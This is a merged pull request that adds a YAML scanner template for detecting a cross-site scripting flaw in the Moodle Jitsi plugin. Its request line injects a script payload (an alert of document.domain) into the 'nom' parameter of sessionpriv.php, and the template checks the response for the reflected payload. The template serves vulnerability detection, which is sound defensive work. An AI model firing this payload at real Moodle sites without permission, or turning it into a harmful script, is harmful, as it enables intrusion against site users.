Merge pull request #1037 from PurushottamanR/master

Moodle jitsi plugin XSS detection

vulnerabilities/moodle/moodle-jitsi-plugin-xss.yaml

@@ -0,0 +1,30 @@
+id: moodle-jitsi-plugin-xss
+
+info:
+  name: Moodle jitsi plugin XSS
+  author: aceseven (digisec360)
+  description: Cross-site Scripting in moodle jitsi plugin
+  severity: medium
+  tags: moodle,jitsi,xss
+  reference: https://github.com/udima-university/moodle-mod_jitsi/issues/67
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2Ftargetdomain.com%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "alert(document.domain);"
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "text/html"